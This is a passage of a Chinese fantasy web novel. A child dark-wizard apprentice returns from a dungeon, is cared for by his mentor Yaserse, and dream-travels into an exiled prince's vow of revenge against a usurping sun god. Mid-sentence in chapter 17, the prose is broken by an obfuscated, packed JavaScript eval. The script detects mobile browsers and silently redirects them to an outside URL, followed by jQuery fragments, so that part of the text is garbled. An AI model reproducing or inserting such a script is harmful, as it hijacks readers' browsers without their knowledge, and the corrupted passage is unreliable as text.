“收割人啊……”费德鲁斯看向角落,阴影里的覆面人已离去,“就是这座地下城的城主,也是死亡与灾厄之神曾经的神使之一。你手上拿着的‘日记’,是地下城根据收割人生前的回忆,所生成的小传。” “意思是收割人已经死了?”莱塔惊讶。 “是啊,他死了,所以才会出现这样的地下城。小塔,当一名神使死亡,承载有神之力量的躯壳便会陨落于地底,形成如此这般的地下之城,此地即为背后神明的地下神国。它们是巫师们最好的历练与发育之地,也是巫师界曾经一个个的大人物如今沉默的坟墓。”费德鲁斯的声音有些寂寥。 “那我这样擅闯别人的坟墓,是不是不太好?” 费德鲁斯想了想:“问题倒不在于坟墓,而是坟墓归于哪位神明。一般么,出于对自家神使的敬意,巫师们是不太去擅闯本家的地下城的,以免打扰神使大人死后的安宁。大家都是去抢,咳,去探一探别家神明的地下城,顺便拿点好东西。” “啊,那我现在岂不是正在打扰他……”莱塔越说声音越小。 “没什么。本来就是他自己……呃,只要神使残留的意识允许你进来就行。你看你在这逗留了这么久,他也没出来赶你。证明他……” “证明我很可爱,就连神使大人都很喜欢我!”莱塔翘起鼻子。 “呃,差不多吧。” 疑惑得到解答,莱塔心满意足地把小纸片塞入包里。 他将手伸向下一件物品,那是地下城所说的“掉落物”,一 张悬浮在半空的面具。 面具是硬壳的,涂着夸张鲜艳的油彩,乍一看和方才杀了许多的小鬼们很像。两只眼睛的位置开了洞,下面缀着一排獠牙形状的装饰小穗。 孩子的指尖触碰到面具,面具周身金灿的光芒消失,它那来自于地下城的奇异悬停的力量也不见了。面具掉落到孩子的手心。 【小鬼面具(珍稀)】 【魅力+1】 【使佩戴者被小鬼认作同类首领,不会遭受小鬼的攻击,可对小鬼进行一定的命令。】 【*你以绝对的实力,使它们臣服于你。】 看上去挺有用——但是丑丑的,这辈子都别想出现在他脸上。 莱塔撅嘴把面具塞入小挎包里。 最后便是紧张刺激的开箱环节。 莱塔颇有仪式感地拍拍手,点开宝箱。 【你获得了无比可爱的头骨项链(珍稀)。】 【你获得了回城卷轴。】 【你获得了中型魔力回复药水×10,中型生命回复药水×10……】 嗯?就这样吗?孩子亮晶晶的小眼睛肉眼可见黯淡下来。 被幸运猫尾喂大胃口的小朋友,已经不能满足这点小东西了! 莱塔把宝箱抱起来晃晃,甚至狐疑地把头伸到底下去看有没有破洞。明明是关底宝箱,为什么这么贫穷?竟然只有一个珍稀物品! 说是这么说,莱塔还是照例把一些零零碎碎的小东西留给了宝箱,哪怕他现在已经获得了无限大背包。 宝箱散发出开心的光芒。 孩子则摸索起新获得的小项链。 【无比可爱的头骨项链(珍稀)】 【魔力+5,魅力+5】 【变异:魅力+1】 【*它原本也有一个十分炫酷的外形……直到几小时前,它意识到这样会失去一份工作——就和它的某位杖形同事一样。】 这描述令莱塔想起某位丑丑六脑袋法杖。 不过还好小项链很可爱。 明明也有个头骨的称呼,却只有核桃大小。圆滚滚的白脑壳上挂着两只大大的黑豆眼睛,看上去呆萌无比,令孩子十分满意。 莱塔开心地把它挂在脖子上。 他又试了试火腿大棒。孩子从小挎包里握出骨头把手,紧跟着便拉出一根肥美软弹的大肉来,孩子甚至一下子重心不稳,连连倒退好几步。 【火腿大棒(优质)】 【攻击+1】 【*先不说好不好用吧,真的没有人想过尝一口吗?】 尝一口…… 莱塔想起小鬼首领脏兮兮的爪子。算了,你也给我去仓库里关禁闭吧。他把大棒丢回冥界空间。 左看右看再没有遗漏,莱塔撕开回城卷轴,默数15秒。 空间扭曲,变形,转瞬来到新的一处——这回竟然直接回到了地面上,地下城的洞穴门口。 时候已不早,蓝月高挂于天。黑黝黝的林子伸着细爪,爬满宁静的夜。黑森林似乎比以往任何时候都要安静,那些喜欢飘来飘去窃窃私语的幽灵都不见了。 莱塔很快明白了原因。 黑巫师正站在一棵树下,似乎等了他很久。 莱塔弯起眼睛跑去:“我打败了——” 话还没说完,脚底一阵刺痛。他感到其中一只脚踝软了下去,随即便是整个人向前倾倒,眼前是愈来愈近的地面。 不过想象中的疼痛并未到来,他落入了黑巫师的怀抱中。 这是一个没有温度,也没有香味的怀抱。 黑巫师弯下身,让孩子能倚靠着坐在他的膝上。 他握起孩子丢了一只鞋的脚丫。 那是一只脏兮兮的脚,简直像从泥地里捞出来的,沾了好些碎石子。本来能勉强遮蔽的袜子,也早已成了破布一条,挂在脚跟上。孩子原本圆润小巧的趾头,都肿得像被捂热乎的小石榴。 “还疼吗?”黑巫师轻揉着孩子的脚掌,拨掉那些石粒。 一路走来没喊过痛的小巫师,忽然鼻子一酸嘴巴一瘪,就冒出眼泪来。 “疼……” 16.雅瑟斯 青年把孩子抱在怀里,气质冷淡,动作却轻柔,乘着月色一路往家的方向走。 森林的叶浪鼓动着黑巫师的袍子,小黑巫师脱了鞋袜的脚尖则时不时擦过勾出的枝条。他们轻声细语,说着只有林子知道的悄悄话,远看像是一副油画。 ——就是不知道为什么不直接闪现回去。 费德鲁斯远远缀在后面吐槽。 它跟了一会儿,意识到自己这样当背景板挺傻的,便晃悠悠飞走了。反正小塔跟着那人最安全了。 “然后啊,那个大块头就想吃我。我直接一棍子打回去,它被我揍得嗷嗷叫……”孩子兴奋聊起地城内的冒险,就是加了亿点点艺术处理。 “嗯。”黑巫师静静听着,没有戳破孩子小小的自尊心。 莱塔说着说着,稍微有些渴了。 他仰头望着黑巫师,而黑巫师这时候也垂眸看向他,似乎是注意到了他的视线。 一张算是好看,却极度缺乏生命力的脸,映在黑夜的幕布上,好像会发光。浅色的眼睛藏在浓密睫毛中,似乎看什么都不会上心。 莱塔晃了晃被黑巫师一只手勾起的腿弯。 他好奇问:“你有名字吗?” 灰蓝的眼瞳一瞬露出淡淡惊讶。 “你没有名字?”莱塔歪着脑袋又问。 感觉黑巫师这样的人,没有名字也不奇怪呢。他想说这没什么,他可以给对方取。他可会取名啦。 比如布丁,蛋挞,牛奶,香蕉……有点饿了。 “雅瑟斯。” 正在心里头沉迷取名的孩子,一时间没有反应过来。 他微微睁大眼睛,有些呆地望着对方。 “我的名字是雅瑟斯。”黑巫师重复了一遍。 “雅瑟斯……”莱塔下意识跟念。 “嗯。” 黑巫师还是那个黑巫师,只是莱塔觉得对方好像多了点温度。 雅瑟斯……雅瑟斯…… “雅瑟斯,我明天也可以出来玩吗?” “可以。” “好诶……但是我明天不要去地下城了,里面脏兮兮的,还容易摔倒。黑森林里有其他好玩的地方吗?” “可以请费德鲁斯带你。” “你不可以吗?” 小学徒胆大地揪了揪导师落在胸前的一缕长发。 冰冰凉凉的。 “我并不经常出门走动,尤其是白天。” “好吧……对啦,我获得了这个!” 小黑巫师高举起他的头骨项链,像一只打猎归来同主人鼓起胸毛的猫,眼睛亮晶晶。 黑巫师望着孩子骄傲的小脸蛋说:“很厉害。” 被、被夸了…… 明明先前都挺自恋的,小朋友这会儿却有点害羞地把脸埋在黑巫师的胸口,好一会儿才重新抬起。 他又一件件把自己宝贝的战利品们拿出来,放到黑巫师眼前逐一介绍。黑巫师耐心听着,偶尔淡淡应声。 小木屋的身影在前方拐角处露出。 随着他们步伐的靠近,前院逐渐亮起,那是一种很温馨的萤火。 当雅瑟斯抱着莱塔走过院中石板小路,莱塔透过窗子看见餐厅的一角,他吃了几顿饭的桌子静静躺在那里,光洁,明净,他忽然有一种回到归处的安心。 “雅瑟斯,地下城说,不死不灭给我赐福了。什么是赐福?” 黑巫师开门,在地毯上放下孩子。 他折膝弯身,衣袍缀叠一地,只比小小的孩子高出半个头。他们视线相对,莱塔看到对方眼中平静跃动的烛光。 “神明赐予人类力量,便是赐福。于是人们说,‘那居于星辰之上的,是为赐福诸神。’” 在孩子纯粹信赖的目光中,黑巫师冷不丁拿指关节敲了敲孩子的额头。 “唔,痛……”其实不痛,不过莱塔还是下意识捂住脑袋喊出声,很是娇气。 黑巫师果然动作一僵,他又给孩子揉起那块地方。 “……不死不灭如今的处境不算好,它能动用的权力很少。今后如果遇到更大的麻烦,它或许就保不住你了。你需要自己注意,不能随意将自己置于危险。” “知道啦……” 感觉雅瑟斯好容易心软啊。 洗完澡,莱塔迫不及待坐上餐桌。 黑巫师往他肩上披了干毛巾,以免湿漉漉的长发弄到孩子睡裙上。 心心念念的鱼肉烩饭终于来到孩子的眼前,虽已不是午餐。 “这个是什么?”他用勺子指指包裹在鱼肉饭外头的“黄金茧”。“茧”被划开一道口子,流下黄金液。 “是蛋皮。蛋来自高脚鸟。” “那这个呢?”红褐色的粘稠东西,滩在盘子上好厚一层,里面游动着小小的水果和蔬菜。莱塔尝了一小口,吐了吐舌头。有点辣。 “一种浓酱,加了火焰史莱姆的汁液,味道有些刺激,需要配饭吃……中午的烩饭有些凉了,所以我在鱼肉烩饭的基础上,做了些新的。这样可以吗?” “可以,非常可以!”莱塔吃得身子摇来摇去。 或许出于某种孩子的秩序性,他从下挖着美味鱼饭,没有再毁坏饱满的蛋皮。黑巫师看了几眼,走到厨房。 他回来时拿着一只红色的烂熟果子,一头剪开了,正往外鼓着浓郁的汁液。果子有拳头大小,长得像一颗夸张跳动的心脏。 “这是什么水果?” “它被学者命名为‘惨剧发生时’,不过人们通常称它为‘果心’。这顿饭的酱汁主要就是由它制成的。” “好特别的名字啊。”心脏形状的果实,好熟悉的样子。 没等莱塔继续深思,黑巫师说:“可以在饭上写字。想要写什么?” “那……‘最棒的小黑巫师’!”莱塔举着叉子指挥。 “好。” 黑巫师手腕灵活一转,鲜红的一串字就洒落在蛋皮上,像忽地从金灿河流里翻滚而开的,血色彼岸花。 ——最棒的小黑巫师。 黑巫师写起字来果然好好看哦。 莱塔咬着勺子,心中痒痒:自己真的要吃掉这么好看的东西吗。 他又感到头上一痒。 原来是黑巫师摸了摸他的发顶。 “没洗干净。”黑巫师轻声说。 莱塔脸一红:“今天摔了好多下,头发脏脏的,不好洗嘛……” 黑巫师点点头,没有再说些什么。 用完餐,莱塔懒洋洋地坐上他专属的吹毛小椅子,几乎软成一团灰毛史莱姆,连指头都不想动一根。 黑巫师照例给他按揉头皮,不过这次一团温热的水球浮现,把孩子的头发包括半个脑壳包了个彻底。水球下没有眉毛的眼睛眨眨。 “……雅瑟斯?” “给你再洗一遍。” 这么贴心的服务吗。莱塔打了个哈欠,很快睡眼惺忪,任由黑巫师拨弄他的脑袋。 感觉比他自己洗头发舒服多啦…… 话说回来,黑巫师是不是会催眠人的魔法啊,为什么一碰他的脑袋,他就想睡觉…… 半梦半醒间,孩子听到隐隐的谈话。人有点多。 “再过几天,可就没有新鲜的食材了……那些魔物包括魔植都连夜卷铺盖搬走了……呵呵,多亏这个小馋猫,黑森林边境从没有这么清静过……” “谁让维德每次打猎都弄那么大阵仗,像是要屠杀它们全家似的……我在地下躺着都能听到他那破动静……” “我只是顺带清理杂物……” “或许我们可以捉一些回来养着?” “认真的吗?圈养魔物?我们这里有谁会干农活?好吧,还真有……” “其实比起动物,魔物要容易养活得多……” “喂等等,怎么话题真的跳跃到开农场了?你们是说,在咱们黑森林种田,畜牧,养鱼?这个小矮子究竟有什么魔力,把你们一个个唤醒了要自愿给他干活?” “你不也醒了?” “黑森林的农场吗……有些期待呢……” “喂喂,那田地里种下的,牧场里跳动的,都会是什么啊……” 农场……? 会有蘑菇妖精吗…… 孩子睡梦中抽了下,整个人就翻身要往地上掉。黑巫师轻松接住了孩子的脑袋和屁股,把对方一翻面放回到小沙发。 莱塔彻底醒了。 他揉揉眼睛,发觉自己已不在凳子上:“家里来人了吗?” “怎么了?” “好像做梦梦见好多人来我们家开会。” “……觉得吵?” 孩子摇头。 他此刻躺在一张单人小沙发上,脑袋搁在一侧扶手,膝弯则在另一头。两只光溜溜的脚丫悬在空中,黑巫师往上面抹着冰冰凉凉的黏糊东西,灰绿色的,若有若无飘过来苦味。 莱塔:“……?” 黑巫师没有抬头,却像是看穿了孩子的想法:“给你的脚上药,它们肿了。” “哦……” 莱塔安静咸鱼躺了一会儿,望着黑巫师仔细给自己上药。等到两只小脚都被绿糊糊裹上,终于有些忍不住,一点坏坏的念头升起来。 他勾了勾脚趾头,一只绿油油的肿葡萄就那样戳到了黑巫师的脸,印出一个小泥点。哇,好显色…… 莱塔飞快抽回脚,有点心虚。 黑巫师握住了他的脚踝。 黑巫师平静说:“不要乱动,容易蹭掉药泥。” 随后便开始给孩子揉捏、按摩,做这些时脸上仍挂着个绿泥点。 雅瑟斯脾气好好哦。莱塔这么想。 但很快莱塔就收回了这份想法。他被黑巫师揉着脚底,痒得禁不住掉出眼泪,像条上岸的鱼扭来扭去。可恶的黑巫师还钳住他的两只腿,不让他摆动双脚。 于是莱塔又觉得自己是一条被扼住命运尾巴的可怜小鱼,只能无力地扑腾,扑腾。 “哈哈……不要……救命……不要摸了啦……”孩子两手胡乱拍打着沙发,好几次差点又掉下去,被黑巫师捞了回来。 “这样能更快起药效。”黑巫师淡淡说。 等到那见鬼的“药效”终于弄得差不多了,黑巫师停下手,放出水球给孩子清洗药泥,这只名叫莱塔的小咸鱼已经耗尽了全部力气,一动不动瘫软在沙发上,当真是一根指头都抬不起来了。 “好了,可以回去休息了。” “……起不来,你抱我。” “…… ” 面对孩子的理直气壮,黑巫师仍旧表情未变。他默默弯身,将刚洗完澡十分松软热乎的孩子抱起,把对方一头长发轻轻拨到脑后,分开两人相似又容易相缠的发丝。 莱塔则靠在黑巫师的肩头,在上楼时偷偷伸手,把人家脸上的小泥点给搓掉了。黑巫师没有表现出什么反应。 孩子被放在床上时,脸上是十分乖巧的样子。 他抓着被子角,只露出一双圆润的眼睛:“晚安,雅瑟斯。” “……晚安。”黑巫师带上了门。 脚步声离开门口。 默数十秒后,孩子从床上跳起,摁开小台灯,高举兔兔到头顶。 “准备好了吗饼干下士!现在是装修时间!” 正是一身精力没处使的孩子,鸭子坐在被窝上,一边哼歌一边从自己的百宝袋里倒出许多零碎小物件,都是这一趟下地城的战利品。 对大人们来说,这些垃圾纯是来占位置。 对这个年纪的小孩而言,那可都是王的宝贝! 莱塔很快让自己的小房间成为了垃圾堆。昔日黑巫师素雅宽阔的卧室,如今鼓鼓囊囊,几乎没有下脚之处,可见孩子把地城一层是如何搜刮彻底。 也许该欣慰,至少孩子知道不把外头的脏东西放在自己睡觉的小床上。 “咦,这个是……”莱塔捡起一本魔法书。 由魔女莉莉丝所书写的《猫猫魅惑法则》,记录了小猫咪魅惑人类的一切邪恶。 差点忘了,这本书还只读了一半呢。 孩子当即扔下雄心壮志的装修计划,开始趴在床上乐呵呵看起书来。 翻完最后一页,他很是期待地屏息凝神,结果什么也没发生。 这里不是地下城,不会有播报和提醒。 这样学习魔法显得好无聊啊……孩子又想念起地下城来了。 他翻了个身,严肃抱起小兔:“饼干下士,接下来你会成为国王莱塔的第一位受魅惑者。你准备好迎接你的使命了吗?” 小兔歪歪脑袋,也配合孩子严肃了几分。 小国王按照学到的知识,向兔兔施展起一个柔和的魔法。 兔兔周围一圈空气好像变得毛茸茸几分,莱塔隐约嗅到了甜甜的饼干与糖果的气味。两三秒后,一切回归正常。 “怎么样?有没有觉得我更可爱了!”莱塔兴奋道。 小兔又歪了歪脑袋,接着对孩子轻轻摇动耳朵。 “……啊,明明书上就是这样写的啊。”失望的莱塔陛下把自己摔到床上,“难道只能对人使用?哎,算了,以后再试试吧……” 重整旗鼓的莱塔陛下踩着拖鞋,又开始用大大小小的宝贝们装点他的城堡,很快便将那一点小沮丧忘了个一干二净。 这个花瓶放在窗台上,刚好这里有一把小花……这个橡皮鸭放在书柜上……领带?可以挂在窗帘边上……一副不知道有什么用的卡牌,串起来拉成一排小旗……都有点脏兮兮的,不过我会给大家洗干净……一个一个排队…… 莱塔把长得好看的小家伙们都摆放到它们应去的地方,至于某些挑战小国王审美的六头法杖,则自然继续打入仓库,不见天日。 就连那张据说是神器的罗盘,孩子都爬到桌子上,给为其找了个好位置。屋内没有时钟,把它吊在窗顶充当钟表的样子,还挺酷的,嘿嘿…… 在八岁孩子的眼里,一件神圣不可玷污的神器,便和一面普通的装饰性钟表没什么差别。 咚咚咚。 轻而礼貌的敲门声。 孩子头顶的小呆毛震颤两下,孩子本人便一溜钻回到床上睡觉,被子盖住半张脸,不忘把床头的小台灯熄灭。 门开了。 黑巫师走进来,看了床上“熟睡”的小人一眼,没有戳破。 他径直走到窗边,脚步没有声音,取下来罗盘。 “我不喜欢其他神明的神器,出现在这间屋子里。除专门使用时,其余时间不要拿出来。” “还有这条猫尾……”他手中拎着从孩子换洗下的衣物里,拿出的毛线猫尾。 “只可以在白天佩戴,晚上不许放在睡衣里——今天做得不错。” 黑巫师把猫尾巴和罗盘都放入床头挂着的小挎包,便轻声离开了房间,从头到尾没有询问过孩子是否醒着。 雅瑟斯好虔诚哦。莱塔在黑暗中感慨。 他裹紧小被子,本就累了一天的身子很快也进入了梦乡。 …… 澄净的蓝色月光,涌动在黑森林的上方,大多被灰茫大雾阻绝于外。蓝月静静俯瞰大地,只倾泻丝丝缕缕光亮。光亮入了雾,稀释成银色的流水。 到了小木屋,一窗之隔,就连月光都无法渗透的卧室内,莹莹墓碑不知何时浮现,托举着入梦人柔软的躯体。 那仿佛是一具灵魂出窍的人偶,没有生息地蜷缩成一团。 黑巫师再度从门外走来,仍旧没有持灯。 漆黑中,他淡色的眼眸显得有些亮。但那并非兴奋,而是一种极度的压抑的躁郁。不过很快便连这转瞬即逝的情绪也捕捉不到了。 他坐在孩子的床头,没有触碰墓碑,也没有触碰孩子。 他只是静静看着,等待孩子的归来。 17.亡国的王子 莱塔再度踏入那灰雾之路。 醒时变得朦胧的梦境记忆,此刻逐渐清晰。而现实的一切却沉入水底,反倒像是十分残破的画片,扭曲,淡化,离漫游之人越发遥远。 他低头,看见自己胸前所怀抱的墓碑。墓碑同缥缈无垠的雾气一样,都是灰色的。他卷曲的长发摇曳在墓碑上,雾色中。他赤裸的足踩着浪花般的发尾,漫无目的地向前走去。 他看见一座城,城池火光冲天,人们嚎哭奔逃。 他看见一座神殿,神像倒塌,神明的徽纹被用刀尖刺破。 他,看见曾于神像前祈祷的少年,茫然惶恐地跪坐在地,好像一只刚失去了亲鸟庇护的幼雏。 少年金灿的长发流水般泄下,铺在光洁石砖上,如一面针织的金丝垫,那上面甚至缀着几只雪色的花饰。少年瘫坐在自己的金发上,捂着嘴却哭不出声音,也发不出尖叫。 他亲近的侍从的尸体倒在他的眼前,睁着眼睛看他。浸了毒的匕首掉落在地,没能实行它的使命。 而他手中握着一只花瓶,瓶上有血,是刚砸出的血迹。 门外攻城声未停,从昨晚到今天白昼挂起。 剧烈的声响。他吓了一跳。原来是花瓶摔在了地上。 少年恍然惊醒,扯过窗帘披在头顶,踉跄着逃出屋子。 漫游之人跟着他的眼。 他们见昔日圣洁大殿,血污弥漫;曾载着车马牛羊的街道,提篮与水罐被火焰烈马踏碎。轰隆的战马的铁蹄,梦魇般的血色的巫术,吞噬着少年的子民,彻底摧毁了这个繁荣的城邦。 失去神明庇护的家园,轻易地遭受了入侵。 而少年还未来得及走完仪式,成为这片土地新的王。 一支淬了赤金流火的短箭,急促射中他的一只眼。 他拔出箭,也拔出身为王子所继承的剑。 最后的王子舞动剑光,至纯至深的纯白法术展开,跃于赤红朝日之下,那似乎是向太阳的挑衅,又像是独属于巫师的怒骂。 他劈开敌人的围捕,逃出了他的汨罗拉。 汨罗拉,他再也回不去的汨罗拉。 负伤的王子徒步很远很远,他在高高的悬崖上回看他的城邦。 战火已灭,圣旗易主。天光大亮,太阳高挂。 红日的神徽取代了纯白。 这一刻,漫游之人听到了来自星辰的灵感。 【纯白与辉光之神彻底陨落,被它的从神所掠夺。】 【于旧神的尸体之上,红日与胜利之神晋升主神。】 漫游之人稍稍睁大眼睛,不知是为这神明间也有残忍的厮杀而惊讶,还是悲哀于那渺小的人类轻易就因神明的一举一动,而陷入惨痛的命运。 ——神明的诞生与死亡,对立与结盟,总会影响到人世的秩序。漫游之人无端想起这样一句话,似乎有谁轻声告诉过他。 崖顶狂风中,少年的王子怔怔望着那红日的旗帜,以及那城邦之上,滚烫夺目的烈阳。他似乎终于意识到汨罗拉已成为历史。 “叛徒……叛徒……!” 王子跪伏嚎哭,被射中的那只眼流出深深血泪。不知是骂着那同他朝夕相处却背刺的近侍,还是信仰异端、趁机反叛夺权的旧臣。 又或许,他猜测到了那位慈悲神明如今的处境,他在替那同样遭受背叛的神明而悲愤。 漫游之人只是无声旁观着一切。 王子终于站起,长发随劲风飞舞。他用那柄世袭的宝剑割断了它们,任由一簇簇的发流向远方,如翻涌的麦浪。左眼上的伤口被他强行止血,幸而未失明,只是永久留下一道横贯眼眶的伤疤。 一日之间,他似乎变了个模样。 他一甩披风沉声下跪,剑身反立于地。他望着他曾发誓要守护的土地,声音一字一句灌入风中。 “我,瓦西里安·赫伯尼乌斯,在此请诸神见证立誓:我一定会回来,我要将汨罗拉所遭受的一切,还给今日为它带来苦痛的罪贼!我决不让那背主的叛徒,在主所赐予的此地接受永世拜请!” “终有一日,我要那红日落下——” 少年人的声音回荡在山间,只有风知道。 或许,红日的神明也听见了。 红日却只是俯瞰着大地,一如昨天,前天,千百年每一日。 无视便是神的回应,神从未把渺小的虫子放在眼底。 大难不死的稚嫩王子,重获新生的复仇之人,瓦西里安攥紧拳头。那头堪堪齐肩的利落短发不再配有纹饰,那华丽轻盈的皇室轻纱早已成灰烬。他身上只披着滚了厚厚几层血污与沉泥的破布,甚至没有一双完好的靴子。 瓦西里安孤身走向峭壁,走向远方皑皑雪山。 他的族群曾从那里来。 漫游之人眨眨眼睛,跟了上去。 此后又是过了数月,时光飞逝,炼洗骨髓。 漫游之人得见少年渐渐褪去青涩,那张曾沐浴于神殿荣光中的洁白脸庞,如今英气而冷峻,写着不符合这个年纪的成熟。雪原,丛林,荒野,山谷,少年于四处修行。 瓦西里安仍喜爱白色的服装。他穿着这个时代流行的亚麻短袍,手臂与小腿都覆着低调的薄甲,腰间常配有那把不离身的细剑。他的气质完全可以说是一名英俊的圣骑士,只是身形没那么高大,这让他看起来又像一名肉/体健美的少年舞者。 漫游之人偶尔也会困惑,自己为什么要跟着他。 好像忘记了一件很重要的事情。漫游之人想。 忘了什么呢? 算了,想不起来就不想了。 他们来到一片雪山。 山上雪狼远远瞧见瓦西里安,嗅到强者的气息,便快步逃走。 山腰后藏着一座神庙。 那真是藏得极深,若不是剑的感应,瓦西里安不会找到。 如今瓦西里安仍旧信奉着纯白与辉光的神明。背叛已死之神是不会遭受神罚的——毕竟死人不会从棺材里跳出来打人。但瓦西里安没有选择改信。 令人意外的是,他仍能作为巫师使用魔法,只是魔力比从前弱了许多。这证明纯白还在世上残留着力量,这份力量让他们这些神徒还能继续借用。 这让瓦西里安深受鼓舞。少年的理想除了复仇,便多了一件:找寻神主的踪迹,帮助他那或许正落难的神明脱困。 这里确实是纯白的神庙,处处留有旧神的徽章与神纹。自他的神主(疑似)陨落,艾尔比斯大陆便再也找不出一座供奉它的殿堂。它的神像悉数被砸。 神庙不大,很快便走到了最末。那里伫立着一尊苍白的神像,简陋,单调,没有奢华修饰与贡品,但完好无损。 瓦西里安眼睛立 ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17723389|207742||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 即红了。他把手交叠在胸前握拳,同从前祈祷的姿态一样,久久未移开视线。 漫游之人也看向神像的面庞。 那是一张陌生的脸,没见过……哦,不对,上次的最后,就是见到了这张脸,然后就离开了。 没错,只要看到神像,就能离开了。漫游之人开心想。 一秒,两秒,三秒。 咦,没有离开。 漫游之人呆呆站在原地。 为什么没有离开? ……离开是什么意思?为什么自己会觉得,只要看到神像,就能“离开”? 他尚未能解开心底的疑惑,前方的少年人在这时缓缓转身。 少年直直看向他,冷不丁开口。 “您还要继续跟下去么?” ……诶?漫游之人呆滞。 原来看得见他……?! 瓦西里安盯着眼前身披黑袍,头戴乌鸦面具,手持漆黑巨镰的神秘幽灵。深不可测的灰雾笼罩着幽灵的身躯,让他再看不清其他的细节。因幽灵是飘着的,他甚至分辨不出对方的身形高低。 他面上仍旧冷静,手掌却攥得发抖。那是紧张与害怕。 他知道那个说法。人快死的时候,就能看见前来引渡去冥界的使者。它们是死神的手下。 这些日子,他一直隐约感到有人的跟踪,却始终探查不到力量的来源。无论他去到哪里,那人都阴魂不散。 直到现在,他迈入神主遗留的神庙。 他终于直面对方的真身,那让他喉咙发堵,发涩。他甚至很想笑一下,觉得自己的命运是如此可笑。 是么……死神的使者也觉得他到了该死的时候了……死神一直凝视着他的垂死挣扎啊…… 他眼底里所受到的一直没能痊愈的毒伤,终于是在这个时候要把他的生命结束了么……呵,哈哈…… 漫游之人不知道为什么这人忽然开始笑。 漫游之人只是感到自己的大脑似乎清醒了一点。 他后知后觉地意识到,脑袋似乎很痛。 好像一直在疼痛,来到这里就开始了。随着停留的时间越来越长,痛觉便加深,折磨着他的大脑。 这里又是哪里,他为什么会在这里……漫游之人觉得脑子像一团浓稠的咸奶油。 他听见那人类的笑忽地止住了。 “我很抱歉,但我不会就这样束手就擒随您而去。即便以半人半鬼的姿态苟活,即便成了不得安息,只能丑陋徘徊于人世的恶灵,我也有必须要做的事情……” 瓦西里安抽出了那把剑。 神像之下,剑身流光溢彩,剑芒璀璨如星。 这是一柄优雅纤长的刺剑,这是一名巫师的法杖。 ——这是一件神器。 瓦西里安挥动起神器真正的力量,这一剑用尽了他身上所有的魔力。他冷眼看着乌鸦面具的幽灵在他的剑光中消散,随雾气一同离去。 “请告诉死亡与灾厄的神明,我会活着。” 死亡与灾厄。 漫游之人睁大眼睛。 漫游之人——莱塔听到那个熟悉的名字,蓦地从混乱思绪中惊醒。 他记起了自己的名字,记起来把他捡回家的黑巫师,以及一座林间的小木屋。 不过,在想起更多前,他先被那至纯至白的亮光吞没了。 18.死神的使者 神庙,雕像,金发的苦行者,这些鲜明的东西渐渐褪色,在极度的白昼中融化,直至最后一根线条都擦去。 莱塔感到自己被那白光所推开,像是一只气球轻轻触碰他的身体,不算粗暴。然而他却立即被推得弹射起来,直接飞离这个世界。 灰雾披在他的身上,他被卷入灰色的漩涡之中。四周光怪的刺目纹路,隐隐绰绰在雾里晃荡,攀爬在视网膜上,似乎铺开来一卷卷的动态图画。 这里不是回家的路。他心中一个声音说。 这里什么也没有,只是时空的乱流。那声音又说。 他茫然触碰其中一团雾气。 他掉入了画中。 蓝天,白云,以及青草地。 一栋栋红顶白墙的房子散落在河畔上,羊群悠闲地啃着草料。脚下踩到了十分软乎的东西,是鲜嫩的蘑菇,沾了干的泥土。 咦。 莱塔坐在地上,晃了晃靴子。 是雅瑟斯给他做的鞋,他身上穿着的也是雅瑟斯亲手缝制的袍子。胸前佩戴头骨项链,旁边是幽灵灯悄无声息环绕。 他记得他睡前穿着白色的睡袍。 那么这里又是哪里? 莱塔站起身,犹豫了下,狠狠捏了一把脸上软肉。 好像有点疼,又好像没有。判断不出来究竟是否在做梦。 “救命……救命!”远处传来哭声与尖叫。 莱塔手上动作一顿,干脆先不想了,急匆匆追着声源跑去。 那些红房子的另一头,一群长得像鹿的怪物,正在袭击人类。 鹿头顶狰狞的巨角切开石墙,像剪开一块布那样干脆。重伤的人们倒在地上,墙角,以及亲人的肩膀上。 村民正遭受魔物的侵袭。 莱塔握紧小拳头,冲了上去。 他的法杖……糟糕,他好像没有法杖。睡前把蝙蝠杖放在了门口,因为雅瑟斯说它们喜欢那的幽静。 莱塔想起自己的小包里还有根丑丑头骨法杖,情况紧急顾不得挑剔。他把小手往腰间挎包里一伸。 好消息,挎包也在身上。 坏消息,小包变成了普通小包,里面连通的无限空间不翼而飞。 “啊……啊!”年轻的女人怀里抱着孩子,眼见着即将被鹿角划开背部,她死死把孩子挡在身下。只愿怪物吃了她,便放过她的孩子。 莱塔深吸口气,抬起手掌。 没有法杖的话,他的水球威力就很小了……但总比没有好。 魔力凝聚于手心,随着心念释放。 然而出来的却不是水球。 孩子白净的手没有出现任何变化,就连空气都没扭曲分毫。 几米之外,恐怖的食人鹿却像是被无形之物扭曲,它嘶吼着跪倒于地。灰色的雾气不知何时将它环绕,它在雾中渐渐失去生命,就那样诡异地死去。 莱塔有些惊讶。他下意识又动了动手。 那鹿的尸体转瞬被灰雾切开成两半,像是由他亲自操刀。 可怜的小鹿,它大概是这支族群里第一个被猎物活生生杀死,而非自己主动吓死的个体——毕竟没有魔物会觉得这样小小一只的普通幼崽有什么威胁。 待雾气散去,莱塔和女人都看见,那鹿从头到脚密布着贯穿的伤。伤口小而干净,像是曾有雨点击打在它的身上。它被雾的颗粒均匀地杀死了。 我、我做的吗……?孩子微微张着嘴。 女人也呆滞了一会儿,但很快反应过来。她惊恐地从地上爬起,拖着还受伤的脚,拼了命地带孩子继续逃跑。 直到她看见不远处的“死神”。 那应当是死神,和大多故事里讲的一样。一身漆黑的袍子,头戴乌鸦面具,巨大的弯镰比人还要高。剩下的就看不清了,全都藏在朦胧雾气里。 哪里来的雾……不、这不重要。 死神,那幽冥而来的死神站到了她的面前。 女人的脸唰地白了。 她停止了反抗,眼泪从眼角滑落。 这大概是每一个普通人面对死神都会有的心态。 “死神……”女人喃喃,再高一点的声音都发不出来。 莱塔听到了,他认真回答:“我不是死神,我是它的神徒。” “神徒……”女人脸上浮起困惑。 莱塔解释:“就是使者的意思。”好像是这个吧。 